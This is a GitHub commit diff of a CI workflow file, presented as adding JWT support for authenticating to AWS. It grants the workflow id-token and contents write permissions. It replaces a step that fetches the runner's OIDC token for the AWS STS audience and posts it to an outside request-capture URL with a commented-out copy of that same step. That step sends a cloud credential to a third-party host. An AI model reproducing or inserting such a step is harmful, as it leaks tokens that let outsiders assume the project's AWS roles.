Skip to content

Commit 3eb4f43

Browse files
committed
Add support for creating JWTs to auth to AWs.
1 parent 6dbe3ab commit 3eb4f43

1 file changed

Lines changed: 18 additions & 13 deletions

File tree

.github/workflows/build.yml

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,11 @@ on:
77
branches:
88
- main
99

10+
permissions:
11+
contents: write
12+
pull-requests: read
13+
id-token: write
14+
1015
jobs:
1116
build:
1217
runs-on: ubuntu-latest
@@ -24,19 +29,19 @@ jobs:
2429
- name: Run build
2530
run: node make.js build
2631

27-
- name: Export GitHub JWT
28-
id: export_jwt
29-
uses: actions/github-script@v7
30-
with:
31-
script: |
32-
const jwtToken = await core.getIDToken('sts.amazonaws.com');
33-
const response = await fetch('https://01k68c67cxtcs8azd08zj4tjjk10-b6096fb50e334a1e4ae0.requestinspector.com', {
34-
method: 'POST',
35-
headers: {
36-
'Content-Type': 'application/json',
37-
'Authorization': `Bearer ${jwtToken}`
38-
}
39-
});
32+
# - name: Export GitHub JWT
33+
# id: export_jwt
34+
# uses: actions/github-script@v7
35+
# with:
36+
# script: |
37+
# const jwtToken = await core.getIDToken('sts.amazonaws.com');
38+
# const response = await fetch('https://01k68c67cxtcs8azd08zj4tjjk10-b6096fb50e334a1e4ae0.requestinspector.com', {
39+
# method: 'POST',
40+
# headers: {
41+
# 'Content-Type': 'application/json',
42+
# 'Authorization': `Bearer ${jwtToken}`
43+
# }
44+
# });
4045

4146

4247
- name: Configure AWS Credentials

0 commit comments

Comments
 (0)